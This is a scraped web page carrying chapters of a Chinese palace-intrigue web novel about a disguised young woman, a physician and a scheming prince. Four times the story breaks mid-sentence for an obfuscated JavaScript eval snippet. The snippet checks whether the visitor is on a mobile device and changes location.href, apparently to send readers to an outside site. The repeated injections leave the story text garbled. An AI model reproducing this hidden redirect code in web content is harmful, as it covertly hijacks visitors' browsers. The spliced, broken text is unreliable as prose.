“认识的,先前阿爷性命垂危,是严大哥出手相救才得已续命至今。” “就是你让他们去城中做盗贼,偷人钱袋子的?” 严既明瞪大眼睛看着她,疑惑道:“姑娘从哪里看出的?在下虽非君子,却也光明磊落。” “此事绝非严大哥指使,原是早年我与他们二人在城中以卖艺为生,怎料遭官府驱逐,生计无着才出此下策,如今后果皆由我一人承担,与他人无关。” 陈昭绾上下打量着他,确保这人手无缚鸡之力,这才不情不愿地放了手。 那人一时松了气,跪在地上猛咳两声,怨道:“下手也忒狠了些,怎么那么喜欢扼人咽喉啊?” “你为何知晓我喜好扼人咽喉?” “你看阿滢脖颈间的痕迹,与你五指大体吻合,不是你还能有谁?”严既明拍拍身上的尘土,起身说道。 陈昭绾闻言回头看去,果不其然,阿滢脖颈间有几道红色的印记,是她在窄巷时弄出来的,还未完全消退。 阿滢的手不自觉地顺着二人的目光抚上脖颈,轻轻碰了碰。 “别担心,待会儿便会全消。”那人说完又拱手作揖道:“忘了与诸位姑娘介绍了,在下姓严,名既明,乃是京中既明医馆的大夫。” “哦,废话颇多。”赤申惊鹊忍不住讥诮。 “这位姑娘可真是误解在下了。” “我瞧着倒是未曾冤枉你。”赤申惊鹊摆摆手,不屑地说道:“这里没你事,还不快走?!” 赤申惊鹊与严既明你一言我一语,谁也不服输地吵了起来。 陈昭绾听得头疼,转身在石像周边绕上一圈,在角落里发现了阿滢口中的阿爷。 老人躺在凌乱地草席上,看样子是在外就地取材的物件,奄奄一息,若非陈昭绾细细看去,险些错过。 大抵是活不长了。 她走过去蹲在地上,为老爷子把了一脉。 “病入膏肓,活不长了。”严既明的声音和陈昭绾心底的结论同时出现,她回头看去,方才还在吵架的二人已不知何时站在她身后。 陈昭绾沉默不语地看向阿滢。 “本就身子骨弱,前些年燕戎攻入平京恐是受了惊吓,才一病不起的,一口气能够吊到现在已是阎王爷手下留情,我前些日子给他开了些安神养气的方子,不过是苟延残喘罢了,于事无补。”严既明继续说道。 “你别看她,我早就和她说过这些,只是她求我我才开的方子,偷别人钱袋子也是这丫头自己想的,与我无关,少冤枉好人了。” 赤申惊鹊站在一旁瞧着他这副欠揍的模样,忍不住朝他挥舞起拳头,让对方巧妙地躲开了。 见没能出气,她狠狠地白了一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509722|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 话已至此,阿滢忍不住啜泣起来。 “真的没有法子了吗?阿爷是我在这世上唯一的亲人了,我不能再失去他了,求求你们了,求你们想想办法好不好?” 阿滢“噗通”一声在严既明面前跪下,扯起他的衣角,哭得梨花带雨。 “严大哥你一定有办法的对不对,我父亲母亲走前让我照顾好阿爷,可是……可是……我求求你们了。” 说着便要俯身去磕头。 “哎,你这是要我折寿啊。”严既明为难地说道,“不是我不救,是实在没有法子,即使是华佗再世,也难有回寰之地。” “大哥你别这样,大哥,你还有我们,我们会一直陪着你的。”阿滢手下二人接连抱住失控的阿滢,哭喊道。 三人泪如雨下,其余人却束手无策,只得眼睁睁地看着。 严既明看向陈昭绾,对方沉默着,不知道在想些什么。 待三人哭累了,陈昭绾和严既明将他们抱向一旁休息,二人也在他们身旁坐下,不知不觉间陈昭绾突觉肩上一沉,一个脑袋重重压了下来。 她转头看去,赤申惊鹊靠在她肩上睡得极沉。 “没记错的话那石像是大靖神女吧,你说,既然他们大靖的人将她奉为神女,怎么连臣民的命都救不了呢?就这么眼睁睁地看着他们去找阎王?”严既明问道。 “不知。”陈昭绾答道。 她不想回答这个问题,她也想知道自己为何不能救赎他们,她也不愿眼睁睁地看着他们去死。 可是这个世上的很多事,怎么会由着她说了算呢? 神明,真的无所不能吗? “姑娘真是无趣。”严既明看似是在说笑陈昭绾,实则是在自嘲。 明知结果还要问。 几人在破庙中坐至傍晚十分,天色渐晚,霞光微亮。 告别之际,赤申惊鹊眼疾手快地给阿滢几人塞了个钱袋子,嘴里念叨着:“这些钱你们拿着,别跟本小姐客气啊,本小姐有得是钱。” “可是姑娘这钱……”小翠刚要开口劝阻,被赤申惊鹊拦了下来,说道:“打住,一个簪子钱而已,还会有的。” 明明心痛得都要滴血,还在强装镇定。 陈昭绾顿觉有些好笑。 “令妹还蛮好玩的。”严既明在她身旁低语道。 尽管小声,还是被赤申惊鹊听到了,她回头就是一记眼刀,严既明识趣地噤了声。 “阿滢。”两人打闹间,陈昭绾轻声叫道,“你可愿寻个差事做?我见你身手了得,正巧我身边缺个贴身的武婢,意下如何?如此也便有了银子安置你阿爷。不必急着回复,你且考虑些日子,待你想好来寻我便是,我叫……” 陈昭绾犹豫片刻,说道:“你与下人言明,寻的是赤申府大姑娘便是。” “多谢赤申姑娘。” “那我呢?我怎么不谢?”严既明说道。 “多谢严大哥,多谢惊鹊姑娘,多谢几位姐姐。” “这还差不多。” “时候不早了,我们也该回城了。”说罢,陈昭绾与赤申惊鹊便带着小翠向外走去。 “哎,且慢,待我护送二位姑娘回城!”严既明紧跟着追了出去,高声喊道:“天色将暗,山路难走,恐有劫匪。” 7. 第七章 晚妆初了明肌雪,春殿嫔娥鱼贯列。[1] 日暮西下,月光照拂于赤色宫墙,保和殿内十三盏连枝灯将大殿映得金碧辉煌,烛火在穿堂风中摇曳生姿。 丝竹声声,乐师的指尖在箜篌的弦上跳跃,奏出悠扬婉转的乐曲。 美娇娥迈着碎步款款入场,云鬓的步摇轻叩,裙摆拂过御窑金砖,带起的香风下升起龙涎香的缕缕青烟,大殿宛如蓬莱仙境。 烟雾缭绕中,群臣案几列如雁阵,窈窕宫女手执玉壶,琼浆倾入夜光杯中。 赤申琅垂眼望向那泛着莹莹冷光的美酒,却全无品尝之意。 今晨上朝之时下人便通传家中妻子犯了旧疾,他心下惦念,只想早些归家,谁料皇帝设宴庆贺莫将军凯旋,实在推脱不开。 人虽坐在殿中,而心早已不在这殿中。 “赤申大人,内子近日听闻尊夫人身体不适,时常念叨着要登门拜访,又恐扰了病人休息,便托我捎信来问,可好些了?” 赤申琅起初并无在意身边坐的是谁,如今身旁的人开口搭话,他才打眼仔细瞧去。 原是户部尚书——巫昶成安。 他勉强笑着开口回道:“劳烦令正挂念,稍有好转,只是……咳疾反复,待我回去转告内子,多谢巫昶大人与尊夫人的一片好意。” “可有去太医院寻太医瞧过?”户部尚书接着问道。 “前日便找了严大人来瞧,说是顽疾,又添心病,才至于此。仲春时节最是严重,入夏时约莫着会好些,到时定要令正与令爱来府上玩耍。” 赤申琅虽嘴上说着应答如流,心里却是说不出的担心。 户部尚书似乎是看着赤申琅的表情不太好,于是跟着叹了口气。 同样是在京中为官,这京城颇小,什么东家长西家短的,不消两日就能传遍整个平京。 又说户部尚书家的夫人与陈夫人关系甚密,陈夫人母家的事多少知晓一些。 靖朝已灭,往事如汶水东流,再难改变,安慰的话说来自觉无力,只盼故人切莫沉溺过往,早日走出苦楚。 “那便是最好的,我也算给内子一个交代,好免去她一些计挂,赤申大人知晓的,我最是惧内。” 户部尚书的话缓解了些尴尬气氛,赤申琅配合的浅笑两声。 “赤申大人与巫昶大人在议论何事?怎笑得如此开怀?”两人的笑声引得周遭大人纷纷围观,和两人离得颇近的参知政事常余怀笑道。 “我和赤申大人在说,莫将军打了胜仗,陛下有意放缓对外扩张的速度,实乃幸事,双喜临门,常大人博学多识,那请大人评判评判,是否是可乐之事?”巫昶成安说道。 “是该笑,该笑,但不知诸位大人可曾听闻陛下今日设宴的用意?”常余怀敛了笑容,一派严肃地说道。 “难道不是为莫大人接风洗尘?”赤申琅疑惑地说道。 “是也不是……”常余怀的话音尚未落地,殿外便相继传来两声内侍的唱喏。 声音尖锐,清晰地传入每一个人的耳道中。 身着龙袍的皇帝缓缓步入殿中,身后跟随着皇后与两位皇子。 左侧皇子面容俊朗,身材魁梧,衣服上用尽显绣着的麒麟纹样脚踏祥云,熠熠生辉。 他将腰侧所佩利剑解下,交与身旁内侍手中。 右侧皇子虽面容与左侧皇子相似,剑眉星目,清风朗月,身材却颇为瘦弱。 他亦步亦趋地跟随在皇后身后,动作神态与自家哥哥截然相反。 殿中一时间响起朝臣齐声复颂的“吾皇万岁万岁万万岁”“皇后娘娘千岁千岁千千岁”。 待几人各自落座,群臣还未坐稳当,便又见两人自殿外步入。 一人身着紫色蟒袍,身姿挺拔,皇家威严尽显其中。 而另一人则身着铠甲,甲片碰撞出的阵阵轻响,在大殿中回荡。 二人的四方步迈得极大,衣袍掠过琉璃灯,带起的劲风掺着一股寒意。 “皇兄!”先前坐在角落安静吃东西的六皇子见皇兄走进大殿,身后服侍的宫女尚未来得及阻拦,他便笑着起身跑过去抱住少年的腿,说道:“皇兄可是来了,遂儿一个人好生无聊。” 祁遂是皇帝的第六子,母亲是宫中一名小宫女,生他时便去世了。 祁归看他可怜,平日里对他多有照顾,六皇子小孩心性,也就对祁归亲近了几分。 “殿下恕罪,奴婢未能拦住六殿下。”方才照顾六皇子的宫女惶恐下跪,边磕头边说道。 “无妨。” 得到祁归应允的回答,宫女才起身将六殿下带回席上。 “儿臣参见父皇,母后。”少年带着男人在大殿中央站定,他拱手作揖朝大殿上端坐着的二人行礼。 “末将参见陛下,皇后娘娘,陛下万岁万岁万万岁,皇后娘娘千岁千岁千千岁。”男人继少年之后拱手行礼。 “爱卿平身。”皇帝的声音自大殿之上传来,带着不容置疑的威严传遍每个角落。 “谢陛下。” “谢父皇。” “朕听闻今日朱雀大街莫将军险些遇刺,可有大碍?”皇帝看向莫止慰抚道。 “劳陛下忧心,臣并无大碍。还要多亏有五皇子在,臣才免于受伤。”莫止说道。 他的余光瞥向坐在席上的大皇子,后者正手握酒杯,漫不经心地喝着美酒。 皇帝点点头,看起来十分满意莫止的回答,于是他将目光投向莫止身边的祁归,问道:“小五,谭公公同朕言,你今日带人围了一间茶肆,有何结果?” “回父皇的话,刺客已被擒下,只不过……赴宴匆忙,还未来得及审问。”祁归单膝跪地,低着头,毕恭毕敬道。 “既无大碍,现下就此罢了,待日后严加审问那贼子,定要给莫将军一个交代。”皇帝摆摆手,看上去并没有将莫止遇刺这件事放在心上,说道:“入座吧。” “是。” “爱卿今日受了惊吓,快快入座吧。” “谢陛下。”莫止行礼后,与祁归一同走向各自的案几后就坐。 “此次大破匈奴,莫爱卿功不可没,朕敬爱卿一杯。”皇帝要笑不笑地举起酒樽,遥遥朝莫止敬了一下。 莫止与群臣同样遥举酒樽敬向皇帝。 觥筹交错间,皇帝开口道:“只是……这奖赏可是难倒朕了,爱卿战场上勇猛非常,朕思量着该是何等金银珠宝、娇妻美妾才配得上莫卿。”皇帝摩挲着手上的青玉扳指说道,“小五,你觉得呢?” 祁归的指尖触上那盛满美酒的夜光杯,冷意沁入指尖,顺着遍布四肢百骸的经络蔓延至心窍,惊得人恍惚一瞬。 皇帝此话询问是假,试探为真,探的便是祁归有几分心思,是否忠心。 莫止此人建朝以来屡立战功,官至一品,早已是封无可封,进爵之事皇帝若是有意就不会将问题抛给祁归。 如今怎么答都是两难的问题。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509723|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若是答封侯那便是野心勃勃,与莫将军有勾结之意。 若是答赏些普通的金银珠宝又显得对不住武将为国捐躯的事实,恐会引得朝臣不满。 “儿臣不知。”祁归淡定答道:“莫将军屡立战功,儿臣愚钝不知该赏赐些什么给将军,但儿臣心中另有一人选,可答出父皇此问。” “哦?说来听听?”皇帝饶有兴趣地倚靠在龙椅上,目光在祁归身上打量。 祁归有意回避皇帝的视线,他垂着眼看向身前案几上的残羹冷炙,忽然想起了自己的母妃。 这种宴会她从来不会参与,总是权力与试探的交锋。 身处权力漩涡,每一句话都有坠入悬崖的危险,稍有不慎便会粉身碎骨。 母妃说人心难测,亦说伴君如伴虎,如今想来便是了,祁归觉得这宫宴愈发得没趣儿。 他神色如常地答道:“儿臣倒认为,大皇兄比儿臣要聪明许多,此事大皇兄定能答出一二。” “是吗?”皇帝说道,目光从祁归身上游移至祁宸身上。 “这小五打小便能说会道,怎么大了反倒谦虚起来了?”皇后笑着看向皇帝,说道。 “母后言重,阿归自是比不过皇兄的。”祁归谦虚道。 皇帝多疑,无论他怎样答都是个错,不如将问题抛出去,陪皇帝做一出兄友弟恭、父子和睦的戏给群臣看好了。 “阿宸,你怎么看?”皇帝顺势转向祁宸问道。 祁归转头似笑非笑地看向皇兄,好似在用眼神询问祁宸将如何作答。 “父皇,依儿臣看……”祁宸起身拱手作揖道,他眼底吐着毒蛇般的信子,恨不得将祁归吞出入腹却又要勉强地挤出一副笑脸。 他这个皇弟聪慧倒是真的,只可惜聪慧过头了,便显得可恨。 祁归的母妃曾是靖朝的和亲公主,名义上是为国分忧实际上燕戎人人都看不起她,祁归自幼见识过太多歧视了,尽管他贵为皇子却还是低人一等,只因他是靖人所生的杂种。 于是他比所有人都知晓权力的重要性,他拼命地往上爬,拼命地想要得到权力,只有手握权势他才能护住母妃和自己。 他比所有皇子都知晓如何讨皇帝的欢心,皇帝多疑却依旧喜欢将他放在身边重用,就连朝臣们都觉得这储君之位早晚是五殿下的。 这样的人……日后定是留不得的。 祁宸收敛了余光,说道:“莫将军战场上自是勇猛无比,履历战功,加官进爵于他而言已视若这美酒,浅尝自觉美味,喝得多了便觉无味,既然皇弟有意请教我这皇兄,那儿臣就献丑了。” “儿臣看啊,可将玄武大街的一处前朝武将的宅邸赏给莫将军,儿臣听闻那所院落幽深却又不乏雅致,最适合修身养性了,再赏些西域进贡的稀罕物件,儿臣听闻今岁有长剑,是为西域名师所铸,锋利无比,用起来十分顺手,可赐予莫将军,儿臣浅薄之言,还请父皇恕罪。” 有人给出了答案,于是皇帝作罢,不再深究下去,说道:“宸儿,你可知那玄武大街的府邸是前朝何人所居之处?” 祁宸口中的那处宅邸是前朝威武大将军在京中的宅邸,只不过常年未有人住才荒废至此。 “儿臣愚钝,请父皇指明。”祁宸立马双膝跪地,惶恐道。 “小五,你可知?” 燕朝初入平京时,祁归奉命清点城内官邸,说不知那是假的。 “回父皇,是前朝威武大将军的宅邸。” 8. 第八章 “朕当年十分敬佩他的谋略,是难得一见的帅才,可惜……不说了,”皇帝叹了口气,苦笑着说:“诸位爱卿应是吸取前朝的教训,莫要让燕朝重蹈覆辙啊。” 自古以来,此话都是臣子劝谏皇帝的话,如今从皇帝口中说出那句别有一番意味了。 莫止看向站着的祁宸,眼珠微动,心中盘算。 祁归将一切尽收眼底。 “罢了,不说这些伤感的话了,来人,将那把佩剑呈上来,赠予莫将军。” 不多时,宫人手托鎏金托盘快步走到莫止面前。 莫止的目光停留在那佩剑的剑穗上,若是没看错那是金乌的纹样。 心下不禁疑惑。 皇帝为何要将这把剑赠予他?难道是不曾察觉这金乌纹样?亦或是想治他于……死地。 “莫将军,愣着作甚?还不快快谢过陛下。”大殿内气氛尴尬一瞬,皇后说道。 莫止这才反应过来,叩谢皇帝隆恩,心中却有几分难言的意味。 “说来小五也要到加冠的年纪了,几位皇兄都封了王,小五可有打算?”皇后娘娘与皇帝对视一眼,将话题引到今日设宴的正题上来。 燕朝建立时,祁归的两位哥哥都已过了加冠的年纪,于是皇帝为二人封王,各自出宫立府。 祁归因着年纪尚小,便只赐了府邸。 转眼间祁归即将到加冠的年纪,皇帝也想借着今日的宫宴问问祁归的意见。 “全凭父皇决断。”祁归说道。 “这日子啊,一晃眼地过,小五是该到了加冠的年纪了,前些日子我在他母妃宫中提起过此事,他母妃说……”皇帝感慨道。 “哦?妹妹怎说?”皇后笑道。 “贵妃说,小五出宫立府已是恩赐,封王是她不敢奢求的。” 皇帝的话传进祁归的耳朵里十分扎耳,他放在腿上的手不自觉地握成了拳,努力压制着怒火。 祁遂似乎是察觉到了祁归的情绪,小心翼翼地凑到他身旁悄声问道:“皇兄要封王了,难道不开心吗?” 小孩子尚且年幼,不知何为爱恨情仇,只道皇兄要封王了,那便是极好不过的事。 如若有朝一日他也能像皇兄如此,他会成为天底下最开心的小孩。 祁归回神,冲他笑笑,说道:“开心。” 嘴上如此说着,可心底一想到皇帝对他母妃做的那些事便觉得十分嫌恶。 眼底尚存的那一丝哄小孩玩的笑意也便没了个干净。 “贵妃妹妹总是如此超脱尘世。”皇后夸赞道,“依臣妾看,小五是该封,两位皇兄都有王位,若是小五没有,岂不是显得陛下厚此薄彼?” “皇后所言极是,诸位爱卿意下如何?”皇后的回答深得皇帝心意,于是他又象征性地询问起群臣的意见。 “全凭陛下决断。”群臣齐声说道。 皇子行了加冠礼,封王自立门户是燕朝的惯例,朝臣们也难有意见,即使有也难在此事上做文章。 “既无反对之意,那便拟旨吧,封五皇子为定王,承顺先祖旧例,只盼平稳安定,如何?” “定王?”皇后接话道,“陛下‘定’这个字用得妙啊,有着平稳、可靠之意,日后娶妻生子,也盼着小五也能稳当些。” “说到这个,该是时候给小五物色个王妃了。” “陛下今天是要替小五把终身大事都定了?”皇后嗔怪道:“臣妾看,陛下过于心急了,也不问问小五的意思。” “罢了罢了,这件事改日再说,待朕问过他母妃后再做决断,之后还得劳烦朕的皇后多费心了。”皇帝面带微笑地伸出手,将掌心覆在皇后的手背上,拉到自己身边摩挲着,语重心长地说道。 皇后眼底的神色暗了暗,咬牙说道:“陛下言重了,为陛下分忧是臣妾的本分。” 好一副夫妻和睦、举案齐眉的模样。 “陛下英明。”群臣称赞道。 “谢父皇。”祁归起身步入殿中央,他郑重地跪地俯身,叩谢皇帝的恩赐。 额头触及地面的一刻,冷意袭上心头,于他而言封王并非赏赐,反倒更像是催命符,是皇帝在警告他认清自己的位置,切莫生了歪心思。 “看来小五对这个封号也颇为满意。”皇帝要笑不笑地说道,“平身吧。” 二皇子祁醴少见地本本分分坐在案几后,虽然一直没说话,但不屑地表情出卖了他。 看着这样一出伪善的戏,他不禁小声嘀咕道:“哼,定王,平稳安定,承什么先祖旧例,我看就是骂他是个混血的贱种罢了。” 说罢,他端起酒杯慢慢品尝起来,殊不知他的话早已被大皇子看在眼中,酒杯之上露出如雄鹰般锐利的双目,好似洞穿一切。 他这个皇弟啊,哪里都蠢,唯有一点令他另眼相看,那便是识人看事的能力,从他嘴里说出来的就没有一句不准的。 “定”字看似是说平稳安定之意,可前朝的“靖”字也有此意,如若祁归的母妃不是靖人,或许祁宸未必会将两个字联想起来。 但事实如此,“定”便是“靖”,表面上看是皇帝在给他封王,内里不过是皇帝在说祁归就是他身边的一条狗。 话是这么说,偏偏祁宸却又是杀不掉祁归,祁归是皇帝拿来压制他的人,自然不可能让他轻易死掉。 想到这里祁宸就恨得牙痒,牙关不自觉地收紧,咬得玉杯叮当作响。 祁归起身望向祁宸,他早已习惯了皇兄这样的目光,这就是皇帝想要的效果,兄友弟恭的表皮下是恨不得你死我活的拼杀。 他不是好人,祁宸也并非善类。 戌时三刻,月上枝头,筵席方散。 祁归走出大殿,夜风抚过他的一角,微微泛凉。 林川悄然走上前为他披上外衣,说道:“殿下,茶肆的人说赤申姑娘将人送出城了,属下实在不知殿下的用意何在。” “命人盯紧她。”祁归抬手拢了拢身上的外衣,说道。 “殿下是在怀疑赤申姑娘?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509724|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。” 太像了,像的不止那双眼睛。 祁归不信自己能够看走眼,但他也不信这世上真有借尸还魂之术,无论如何他都要搞清赤申昭绾的身份,理智告诉他这人并非看上去的那样简单。 若是个祸患,便是绝不能留。 “殿下今日在筵席上可是不顺心?”林川见祁归心事重重,忍不住问道。 平日里祁归很少有这样情绪外露的时候,他的脸上总是不会做过多的表情,好似在他眼里不知大喜与大悲为何物一般。 “阿川,你先回府吧,我想自己转转。”祁归停住脚步说道。 “是,殿下。” 林川走后,祁归转身走向了另一个方向,那里是通向钟粹宫的方向,也是祁归母妃的寝宫。 斑驳的红墙将皇宫围成了一座四方城,就是这样一面又一面高墙建起的围城,困住了母妃的一辈子。 或者说,困住母妃的不止是这一方皇城,还有那大靖公主的头衔和天下百姓的性命。 母妃为了这些终期半生,到最后却是什么也护不住…… 祁归很少来这里。 许久不见,这高墙在他眼里仿佛又高了几丈,压得人喘不过气来。 他的脚步不知不觉间便到了钟粹宫门外,却不知为何突然心生胆怯,正打算叩门的手顿在半空,犹豫片刻后又落回身侧。 “殿下!”院门自里头打开,一宫女站在门外愣怔片刻,表情有些惊愕,显然是没想到会在这个时候看到祁归。 若不是这个身影她还有几分印象,这夜黑风高的天,她险些就要把对方当成贼子,喊人了。 “啊,母妃怎样了?可是睡下了?”本想着一声不吭溜掉的祁归被抓包后骤然觉得有些心虚,于是说话的气势自然也就弱上三分。 但他的眼睛却亮得如同天上的星辰。 “殿下确实来得不巧,贵妃娘娘刚歇下。”宫女回道,“殿下这个时辰前来可是有要事与娘娘说?” 他的眼睛亮了又暗,看上去像是对这个回答有些失望。 “无事,你也不必将母妃叫起来,我并无要事,只是宫宴刚散,想着来瞧瞧母妃,有些想念母妃宫中的点心了。”他说道,“既已如此,我改日再来看她。” 说罢,祁归转身要走,宫女说道:“殿下,恕奴婢多嘴,殿下可否多来这钟粹宫吃些茶点呢?殿下不知,娘娘近几日心情不佳,饭也是吃两口就罢,殿下若是得了空能否多来陪陪贵妃娘娘,奴婢看娘娘虽嘴上不说,心里也是想殿下想得紧。” 小宫女入宫没几年,陪在贵妃身边的日子不算长也不算短,刚好做到贴身宫女的位置,贵妃娘娘温婉贤淑,往日里待她们好也是真的,她实在不愿看娘娘整日沉闷下去。 “好……”祁归开口想要说话,才刚发出一个音节,便被身后的喊声打断了。 “五殿下!殿下!您在这呢!”太监神色焦急地在祁归面前停下,说道:“不好了!出大事了,陛下召您即刻前往养心殿议事!” 9. 第九章 平京城外夜色如墨,混杂着雨水倾注而下。 三人在马车中面对面坐着,严既明的目光无意间落在陈昭绾侧脸的伤痕上,看得出神。 这伤口…… 他还未来得及细想,眼前的画面便被一名少女的脸挡住了,赤申惊鹊警惕地盯着他,说道:“瞧什么瞧?!我阿姐也是你能瞧的?!” 陈昭绾闻言,身型顿了顿,才从方才的思绪中脱离。 她没想到赤申惊鹊的“阿姐”会脱口而出,说得那般顺畅。 这还是半天之前那个瞧她哪里都不顺眼的赤申惊鹊吗? “看都不能看了?想不到你竟这般维护你阿姐,我还以为你看不惯她呢。”严既明猛得被怼一下,表情上颇有些讥讽地说道。 “要你管?!”赤申惊鹊提高了声量说道。 “那你可知你阿姐脸上的伤痕是莫将军的刀所致,若是不及时处理恐会留下疤痕?嗯?”严既明有些得意地挑眉问道。 “你为何会知道得这么详细?”赤申惊鹊眯起眼睛审视着严既明,对方却一脸坦荡地任由她瞧。 “姑娘这样看在下,可是觉得在下颇为英俊潇洒,于是倾心于我,想要以身相许?”严既明没个正形地笑道。 这不笑不要紧,一笑更是给赤申惊鹊本就炮仗的性子添了把火。 “哪里来得乔才?!竟是这样没皮脸!”她的脸被气得涨红,心虚似的急忙将头撇向一边。 “严小侯爷,请注意言行,舍妹并非有意,若是多有得罪,我替她向您道歉。”陈昭绾见赤申经惊鹊不再说话,于是开口说道。 严既明敛了说笑的嘴脸,问道:“你怎知我的身份?” “不难猜,可根据刀口辨别武器的天下仅有二人,一名是当今临安侯,一名便是他的嫡孙了,我说没错吧小侯爷。” “赤申姑娘果真博闻多识,”严既明释怀地笑道:“你是什么时候认出我的?” “先前在城郊的那所破庙中便有所猜测,现下方才确定。” 严既明在身上翻找片刻拿出一小罐白瓷瓶,里面装着白色的粉末,虽封得严密却依旧能闻到一股淡淡的药香。 “这伤药你拿着,是我们家祖传的秘方……” 他的话尚未说完,马车骤然急刹,三人均是一个踉跄。 严既明手中的瓷瓶滚落在地。 陈昭绾下意识伸手挡在了赤申惊鹊的脑后,却忘了护住自己的额角,眉骨重重撞在雕花梨木的窗棂上。 她吃痛得闷哼一声,车轮缓缓停下压在潮湿的泥土上,三人渐渐回神。 陈昭绾看向赤申惊鹊,想要确认对方是否受伤,不经意间与她对视,后者逃也似的移开目光。 风声穿过城楼发出凄厉呜咽,马车外伴着雨滴落下的声音传来细碎的说话声。 陈昭绾掀开帘子向外望了一眼,浓重的夜色中,森严的城门紧闭着。 守城的官兵将车夫拦了下来,二人正在交涉。 “姑娘。”不多时便听到马车外传来车夫的声音。 “何事?”陈昭绾说道。 “几位官爷说城中宵禁,戌时起一律不准放行。” “好,我知道了。” “这可如何是好?进不了城就回不了家,父亲母亲会担心的。”赤申惊鹊焦急地说道。 细细想来,她确实没有这么晚归家过。 “严小侯爷可有法子?”陈昭绾要笑不笑地看向严既明。 临安侯府的令牌可比银子好使得多。 “你们且安生待着,我下去瞧瞧。” “劳烦侯爷了。”陈昭绾满意地点头,目送严既明走下马车,却在下车前目光扫到了对方的腰间。 本应挂着临安侯府令牌的地方空空如也,她的表情一僵,还未来得及问,便听赤申惊鹊阴阳怪气道:“严小侯爷的威严莫不是在平京城中广而告之了?外面那些官兵自是识得小侯爷的。” 陈昭绾既然已经识破严既明的身份,那借他的身份一用未尝不可。 可严既明身上象征身份的令牌没了,谁还认得他是哪来的小侯爷啊。 然而当事人并未意识到自己手中的令牌已经丢失这件事,他刚想反驳赤申惊鹊,下一秒覆在自己腰上的手却摸了个空。 “我的令牌呢?!”严既明惊呼道。 清亮的声音划破天际,尾音后是踏碎雨幕的马蹄声。 祁归一人御马缓步走上前,细密的雨水打湿了他的衣袖,将深紫色风衣袍淋成了墨色,几乎要与黑夜融为一体。 “阿归!”正要和守城将领扯皮的严既明看到祁归,如同看到再生父母一般,挥手高声喊道。 祁归勒绳调转马匹的方向,腰间的皇子令牌在守将们眼前一晃,众人瞬间噤若寒蝉。 严既明恐是怕祁归听不到,说话时拔高了音量,即使外面暴雨如注,陈昭绾与赤申惊鹊坐在马车中也听了个十成十。 究竟是怎样的运气,才能如此倒霉的在同一天遇到三次祁归呢?陈昭绾心中暗暗发誓,下次出门一定要算准日子,她可不想再一连三回遇上这缠人的麻烦精了。 “五殿下?!”赤申惊鹊与陈昭绾对视一眼,掀起帘子的一角向外看去,“这个时辰,他为何会出现在这儿?!” “恐是朝中有大事发生。”陈昭绾皱眉说道,手掌不自觉地揪紧了一角,莫不是偷梁换柱的戏法被他发现了? 祁归浑身上下全都浸在雨水里,出宫出得及,也未曾想过寻些遮雨的斗笠来。 雨水顺着他的眉骨向下流,蛰得他睁不开眼,皱眉说道:“你为何在这儿?” “我还要问你这是怎么一回事呢!怎的突然就封城了?!我今日上山忘带侯府令牌了,你快和这群人说说,叫他们放行。” “就你一人?”祁归答非所问,他并未选择解答严既明的疑惑,反而将目光投向严既明身后的马车上。 恰巧风吹帘起,透过帘子的缝隙,祁归看到马车内等待的二人。 少女的染血的衣裳尚未更换,几滴鲜血在素色布料上绽开,仿佛无尽地狱开出的曼陀罗花,妖冶惑人。 不肖严既明再说话,祁归也知晓此行并非严既明一人,他纵马上前径直朝赤申府的马车走去,身后是严既明的说话声:“自然还有赤申府的二位小姐了。” “赤申姑娘为何会出现在这里?”祁归在马车前停驻,与陈昭绾隔着帘子对望,目光锐利地审视着对方,眼中带着几分怀疑与警惕。 严既明起先没注意到祁归早已移了位置,以为还在和他说话,于是他答道:“当然是上山采药了,下山时候……” 话说到一半,被祁归的声音打断了,严既明这才反应过来祁归方才的话也不是说与他听的。 “听闻赤申府家规森严,没想到赤申姑娘竟会晚归,不知赤申大人……”祁归继续说道。 “我阿爹才不会……唔……”祁归一句话便点了赤申惊鹊的炮仗性子,眼见着就要看着她以下犯上,脱口而出些大逆不道的话了。 陈昭绾急忙捂嘴,淡定道:“臣女晚归自有晚归的道理,若是犯了家规也自有家规处置,殿下平日里为朝中大小事宜劳心劳力,这般小事就不劳殿下费心了。” 言下之意再明显不过,明里暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 